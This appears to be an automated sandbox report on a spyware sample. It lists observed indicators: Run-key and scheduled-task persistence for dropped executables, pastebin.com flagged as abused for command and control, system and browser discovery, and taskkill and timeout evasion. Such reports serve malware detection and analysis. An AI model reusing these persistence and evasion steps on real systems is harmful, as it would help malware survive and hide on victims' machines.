spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\086de54246.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110390101\\086de54246.exe" C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110400121\\am_no.cmd" C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\4f38749964.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110460101\\4f38749964.exe" C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\a4351ba7b1.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110470101\\a4351ba7b1.exe" C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6baf3702c9.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110480101\\6baf3702c9.exe" C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A

Checks installed software on the system

discovery

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\rapes.job C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
File created C:\Windows\Tasks\Gxtuum.job C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110470101\a4351ba7b1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110460101\4f38749964.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\BGJ28V9RAH6PNAXACVV4S9MSBD.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110440101\04fdd764f9.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\timeout.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110420101\63b4bc7f30.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110390101\086de54246.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110450101\46cbb53831.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A

Delays execution with timeout.exe

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Kills process with taskkill

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133857110305094592" C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings C:\Program Files\Mozilla Firefox\firefox.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
